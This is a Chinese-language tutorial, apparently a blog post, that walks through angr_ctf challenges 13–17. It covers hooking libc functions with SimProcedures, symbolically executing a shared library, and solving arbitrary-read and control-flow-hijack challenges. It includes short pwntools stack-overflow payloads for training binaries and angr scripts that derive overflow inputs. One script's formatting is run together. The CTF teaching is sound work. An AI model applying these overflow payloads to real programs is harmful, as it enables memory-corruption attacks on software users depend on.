1. 程式人生 > 其它 >angr_ctf——從0學習angr(四):庫操作和溢位漏洞利用

angr_ctf——從0學習angr(四):庫操作和溢位漏洞利用

angr_ctf專案中後面13~17題沒有新的成塊的有關angr的知識了,只是對之前題目使用到的模組的擴充套件和補充,因此就不先列知識點和使用方式了,直接在實戰中邊講解邊說明

庫操作

13_angr_static_binary:靜態編譯庫函式替換

此題的程式碼與第1題沒有區別,但它是靜態編譯得來的二進位制檔案,將所有的庫函式都寫入二進位制檔案了。

之前在angr_ctf——從0學習angr(三)中對第8題分析時講到,angr對於庫函式只會分出一條路徑,而不關心庫函式內部是怎樣實現的,庫函式內部的分支也不會增加angr路徑上的分支數量。

這個說法是正確的,但是不太嚴謹,這是因為angr存在一個符號函式摘要集(symbolic function summaries)

在預設情況下angr會使用SimProcedures裡面的符號函式摘要集替換庫函式,本質上是在庫函式上設定了Hooking,這些hook 函式高效地模仿庫函式對狀態的影響,就像我們之前在第8題中做的那樣。因此angr不進入庫函式內部的原因在於,它實際上執行的是hook函式,而hook函式只模仿了庫函式對狀態的影響,實際內部的操作並沒有實現,因此也就不會產生額外分支。

Simprocedures是一個兩層結構,第一層表示包名,第二層則是函式名:

  而此題庫函式被靜態編譯進來了,預設啟用的符號函式摘要集作用在動態連結庫上,因此此時失效了,在該題中呼叫的庫函式都會進入內部併產生相應的分支,這會大大降低angr的效率。 因此此題的目的在於,手動使用符號函式摘要集替換程式中使用到的庫函式 想要獲取某個符號函式摘要集中的函式,可以使用下面的程式碼:
angr.SIM_PROCEDURES['
libc']['scanf']()

就可以獲取libc包中的scanf函數了,它是一個<SimProcedure scanf>與之前第10題中我們建立的class Hook是同一個類

對於這樣的hook函式,可以使用以下兩種方式將它hook到目標函式上去:

project.hook(address_of_hooked, angr.SIM_PROCEDURES['libc']['scanf']())

project.hook_symbol('__isoc99_scanf',angr.SIM_PROCEDURES['libc']['scanf']())

一種是傳遞待hook函式的地址,還有一種是傳遞函式名。

此外在進入main函式之前,程式會先呼叫__libc_start_main,它也是庫函式,而在建立狀態時,如果使用entry_state(),則初始狀態就已經經過了__libc_start_main的呼叫,所以最好也hook掉這個函式,或者使用blank_state手動從main函式開始。

所以此題的解題方式和之前的萬能指令碼相同,但是需要手動hook一下庫函式

angr程式碼:

import angr
import time
import claripy

time_strat = time.perf_counter()


def good(state):
    tag = b'Good' in state.posix.dumps(1)
    return True if tag else False


def bad(state):
    tag = b'Try' in state.posix.dumps(1)
    return True if tag else False


path_to_binary = './dist/13_angr_static_binary'
p = angr.Project(path_to_binary, auto_load_libs=False)
init_state = p.factory.entry_state()

# 手動hook庫函式 p.hook(
0x804ed80, angr.SIM_PROCEDURES['libc']['scanf']()) p.hook(0x804ed40, angr.SIM_PROCEDURES['libc']['printf']()) p.hook(0x804f350, angr.SIM_PROCEDURES['libc']['puts']()) p.hook(0x8048280, angr.SIM_PROCEDURES['libc']['strcmp']()) p.hook_symbol('__libc_start_main', angr.SIM_PROCEDURES['glibc']['__libc_start_main']()) simgr = p.factory.simgr(init_state) simgr.explore(find=good, avoid=bad) if simgr.found: solution_state = simgr.found[0] flag = solution_state.posix.dumps(0) print(flag)

14_angr_shared_library:動態連結庫的符號執行

這題不是靜態編譯了,main函式的邏輯也和13題一樣,但是用於混淆輸入和比較的函式validate是通過動態連結庫呼叫進來的,因此直接逆向檢視動態連結庫

此題用萬能模板也能暴力破解,但為了練習的目的,我們還是對validate進行符號執行,思路如下:

  1. 模擬validate的函式執行,向它傳遞引數,引數的型別是一個符號變數
  2. 用explorer()探索路徑,直到validate函式返回前
  3. 為狀態新增約束,即返回值為1(這樣在main函式當中,就能夠打印出Good),為狀態新增約束可以使用solution_state.add_constraints

模擬validate的函式執行,有兩種方法,一種是使用blank_state()手動設定起始位置,並通過佈置棧來向validate傳遞引數,程式碼如下:

init_state = p.factory.blank_state(addr=validate_addr)

init_state.regs.ebp = init_state.regs.esp
init_state.stack_push(8)
init_state.stack_push(password_addr)
init_state.stack_push(0)

棧的佈置需要了解函式呼叫約定,這裡簡單解釋一下:

  • init_state.regs.ebp = init_state.regs.esp

  這一句是為了初始化ebp,因為採用blank_state來初始化狀態的話,大部分暫存器是沒有初始化的,處於一個UNINITIALIZED狀態,而esp指向棧頂,是有數值的,在第1行程式碼後列印ebp和esp,結果為:

<BV32 reg_ebp_1_32{UNINITIALIZED}>  <BV32 0x7fff0000>,所以為了使棧結構完整,先讓ebp到esp的位置來

  • 先push(8)再push(password_addr)

  這也是函式呼叫約定決定的,函式的引數從右向左壓入棧中,如果不清楚程式採用了哪種函式呼叫約定,可以通過main函式中,對validate(password, 8)的呼叫來決定棧的佈局

  • 最後push(0)

  實際上這裡你隨便push啥都可以,這個位置是函式的返回地址。需要這一步的原因是由於,函式返回地址的入棧是在main函式中完成的,也就是call _validate這條指令完成的。而我們設定的初始狀態是在動態連結庫的validate函式的開始處,也就是跳過了返回地址入棧這一步,因此也要還原回去。

上述方法需要對棧和彙編有一定的瞭解,angr提供了更方便的從函式處開始執行的方式:

init_state = p.factory.call_state(func_addr, param1, param2)

這樣就可以在函式func_addr處開始,傳遞給該函式的引數則是param1,param2,可以在這裡傳遞儲存了符號變數的地址和8

最後還需要注意的一點是,動態連結庫在載入時需要重定位,可以在建立專案時用load_options設定重定位的基址,就像這樣:

p = angr.Project(path_to_binary,
                 auto_load_libs=False,
                 load_options={'main_opts': {
                     'custom_base_addr': base_addr
                 }})

如果不設立基址,通常angr會預設載入到0x400000處,在IDA中看到的各個指令的地址都只是相對地址,需要加上基址才能找到它們

angr指令碼如下:

import angr
import claripy


def good(state):
    tag = b'Good' in state.posix.dumps(1)
    return True if tag else False


def bad(state):
    tag = b'Try' in state.posix.dumps(1)
    return True if tag else False


path_to_binary = './dist/lib14_angr_shared_library.so'
# 設定基址
base_addr = 0x400000
p = angr.Project(path_to_binary,
                 auto_load_libs=False,
                 load_options={'main_opts': {
                     'custom_base_addr': base_addr
                 }})

# validate函式的地址
validate_addr = base_addr + 0x6d7
init_state = p.factory.blank_state(addr=validate_addr)

# 建立符號變數,符號變數儲存地址任意,不影響程式執行的地址就行
password = claripy.BVS('password', 8 * 8)
password_addr = base_addr + 0x5000
init_state.memory.store(password_addr, password)

# 佈置棧空間
init_state.regs.ebp = init_state.regs.esp
init_state.stack_push(8)
init_state.stack_push(password_addr)
init_state.stack_push(0)

simgr = p.factory.simgr(init_state)
simgr.explore(find=base_addr + 0x783)

if simgr.found:
    solution_state = simgr.found[0]
    # 新增約束並求解,一般函式返回值會儲存在eax中,可以通過IDA確認
    solution_state.add_constraints(solution_state.regs.eax == 1)
    print(solution_state.solver.eval(password, cast_to=bytes))
else:
    raise Exception("No solution found")

溢位漏洞利用

15_angr_arbitrary_read

題目邏輯很簡單,當key等於418108212時執行puts(s),否則puts(try_again),而s的初始值被設定為try_again。

這裡有個漏洞,就是scanf沒有限制輸入的字元個數,且v4的地址比s更低,因此輸入字元的長度超過v4的長度時,就可以覆蓋s,我們讓無敵的chatGPT來分析分析

還是看出來問題了的,當然chatGPT不知道我們想要輸出Good,所以沒有說出覆蓋s這一點

此外還通過shift+F12在地址484f4a47處找到了字串Good Job,因此直接掏出pwntools

from pwn import *

p = process('./dist/15_angr_arbitrary_read')

Good_addr = 0x484f4a47
payload = b'41810812' + b'a'*0x10 + p32(Good_addr)
p.sendline(payload)
p.interactive()

結果如下:

可以看到打印出了Good Job,解題結束。

但又好像沒結束,我們是來練習使用angr的,不是來寫pwn的。

這題使用angr的解題方式如下:

  1. 首先肯定是讓輸入符號化,先把scanf函式hook了再說,這裡儘管通過逆向能知道key必須等於41810812,但沒必要費勁給key傳遞一個確定的值,因為求解key==41810812只是一眨眼的事,angr的最大敵人是路徑太多。v4的長度應該要能夠覆蓋s,這樣實際上s也是一個符號了。
  2. 之後會到puts(s)這裡,什麼樣的狀態應該是我們的目標狀態嗎,是讓puts打印出Good嗎?傳遞給puts的引數只是一個符號,puts沒辦法通過一個符號找到字串,所以必須在執行puts前停下來
  3. 在puts前停下來如何保證puts能夠打印出Good呢?答案是新增約束,讓其引數s等於Good的地址。

hook函式的部分不做詳細解釋,需要注意的是,向一個地址寫入字串時不用管大小端序,也就是不用加上endness=p.arch.memory_endness這個引數。因為儘管字串的地址在大小端序中的儲存方式不同,但是字串作為一個數組,內部的元素是以大端序儲存的,如果當前程式是小端序,新增endness這個引數會導致字串是反的。

然後,angr在puts前停下時,此時狀態對應的地址是多少呢?

在main中,對puts的呼叫如下

angr是一個基本塊一個基本塊執行的,因此要麼停在0x0804851E要麼停在0x08048370,就是不能停在0x08048525這個地址,這個地址不會出現在angr探索的任何一條路徑上,因為它不是一個基本塊的開始地址。

那麼另外兩個地址該選哪個呢?0x0804851E處,puts的函式還沒有壓入棧中,並且puts的引數並不是儲存在記憶體當中的,我們無法獲取它在棧中的動態地址,因此只能選0x08048370,然後通過當前狀態的esp加上偏移訪問引數。

那,偏移是多少?可以看到0x08048370處是jmp指令,此時已經完成了call _puts,也就是說返回地址已經壓入棧中了,此時esp應該指向返回地址,所以引數儲存在esp + 4當中

angr程式碼如下:

import angr
import claripy

path_to_binary = './dist/15_angr_arbitrary_read'

p = angr.Project(path_to_binary, auto_load_libs=False)

init_state = p.factory.entry_state()


class Hook(angr.SimProcedure):

    def run(self, str, key_addr, password_addr):
        key_bvs = claripy.BVS('key_bvs', 4 * 8)
        # v4和s相距0x10,再加上s的大小4,一共20個位元組
        password_addr_bvs = claripy.BVS('password_addr_bvs', 20 * 8)
        for chr in password_addr_bvs.chop(bits=8):
            self.state.add_constraints(chr >= '0', chr <= 'z')
        self.state.memory.store(key_addr,
                                key_bvs,
                                endness=p.arch.memory_endness)
        # 向地址中寫入字串不用關心大小端序
        self.state.memory.store(password_addr, password_addr_bvs)

        self.state.globals['password'] = password_addr_bvs


p.hook_symbol('__isoc99_scanf', Hook())


def success(state):
    # 此處應為jmp puts的地址
    call_puts_addr = 0x08048370
    if state.addr != call_puts_addr:
        return False

    good_str_addr = 0x484f4a47
    puts_param = state.memory.load(state.regs.esp + 4,
                                   4,
                                   endness=p.arch.memory_endness)

    if state.solver.symbolic(puts_param):
        cp_state = state.copy()
        cp_state.add_constraints(puts_param == good_str_addr)
        # 判斷當前狀態是否有解,有解就說明找到了目標狀態
        if cp_state.satisfiable():
            state.add_constraints(puts_param == good_str_addr)
            return True
        else:
            return False
    else:
        return False


simgr = p.factory.simgr(init_state)
simgr.explore(find=success)

if simgr.found:
    solution_state = simgr.found[0]
    s = solution_state.solver.eval(solution_state.globals['password'],
                                   cast_to=bytes)
    print(s)
else:
    raise Exception("No solution found")

此外對於這段程式碼:

if state.solver.symbolic(puts_param):
        cp_state = state.copy()
        cp_state.add_constraints(puts_param == good_str_addr)
        # 判斷當前狀態是否有解,有解就說明找到了目標狀態
        if cp_state.satisfiable():
            state.add_constraints(puts_param == good_str_addr)
            return True
        else:
            return False
    else:
        return False

建立一個複製的狀態是為了不影響當前狀態,如果當前狀態還需要進一步執行才能達到目標狀態,而你在判斷當前狀態是否為目標狀態時增加了約束,可能會導致錯誤。

這段程式碼有一個更簡便的寫法:

if state.satisfiable(extra_constraints=(is_vulnerable_expression, )):
                
  state.add_constraints(is_vulnerable_expression)
  return True
else:
  return False

在使用satisfiable判斷當前狀態是否有解時,可以使用extra_constraints新增約束,該約束會跟隨狀態一起判斷是否有解,但該約束不會寫入到狀態當中。

16_angr_arbitrary_write

和15題一模一樣,就不解釋了

17_angr_arbitrary_jump:挾持函式控制流

第17題,先逆向,發現撈的很

一個典中典之scanf("%s"),棧溢位,發現還有一個print_good函式,那麼依然是不解釋連招

from pwn import *

p = process("./dist/17_angr_arbitrary_jump")
payload = b'a' * 0x20 + p32(0xdeadbeef) + p32(0x42585249)
p.sendline(payload)
p.interactive()

但是我們得用angr來解。

這題的目的是獲取一個輸入,這個輸入能夠讓某個state的eip變成想要的值,也就是控制程式的控制流。那麼就意味著我們要讓eip變成某個符號變數,然後求解這個符號變數

eip都變成符號變量了,那麼程式該如何執行下一條指令呢?angr對於這種情況,一般會將state放到unconstrained這個stash中,有關stash的介紹可見angr_ctf——從0學習angr(一)。這個stash中的state會被angr預設丟棄以增加效率,而現在我們需要這個stash裡面的state。可以在建立SM時儲存,就像這樣:

simgr = p.factory.simgr(init_state, save_unconstrained=True)

處於unconstrained中的state,如果它在eip等於目標地址(也就是print_good的地址)時,能夠有解(滿足state.satisfiable為真),這樣的狀態就是目標狀態了,可以將它放入到found這個state中,stash中state的轉移也可以參考第一篇內容。

angr在執行時,每次進入新的路徑就會有新的state,為了判斷這個state是否符合要求,這次不用explorer自動探索了,我們採用step單步執行,然後獲取state進行判斷。

angr程式碼如下:

import angr
import claripy


# 下一條指令是print_good的情況下有解的state符合條件
def filter_func(state):
    print_good_addr = 0x42585249
    return state.satisfiable(
        extra_constraints=(state.regs.eip == print_good_addr, ))


path_to_binary = "./dist/17_angr_arbitrary_jump"
proj = angr.Project(path_to_binary)


class SimScanfProcedure(angr.SimProcedure):

    def run(self, fmtstr, input_addr):
        input_bvs = claripy.BVS('input_addr', 200 * 8)
        for chr in input_bvs.chop(bits = 8):
                self.state.add_constraints(chr >= '0', chr <= 'z')
        self.state.memory.store(input_addr, input_bvs)
        self.state.globals['input_val'] = input_bvs


proj.hook_symbol('__isoc99_scanf', SimScanfProcedure())


init_state = proj.factory.entry_state()
# 不丟棄unconstrained中的state
simgr = proj.factory.simgr(init_state,
                           save_unconstrained=True,
                           stashes={
                               'active': [init_state],
                               'unconstrained': [],
                               'found': [],
                           })

while not simgr.found:
    # 如果沒有可執行的state,或者沒找到unconstrained的state,就退出
    if (not simgr.active) and (not simgr.unconstrained):
        break

    # 把符合filter_func的unconstrained轉移到found中
    simgr.move(from_stash='unconstrained',
               to_stash='found',
               filter_func=filter_func)

    simgr.step()

if simgr.found:

    solution_state = simgr.found[0]
    print_good_addr = 0x42585249
    solution_state.add_constraints(solution_state.regs.eip == print_good_addr)
    input_val = solution_state.solver.eval(solution_state.globals['input_val'],
                                           cast_to=bytes)

    print('password: {}'.format(input_val))
else:
    raise Exception('Could not find the solution!')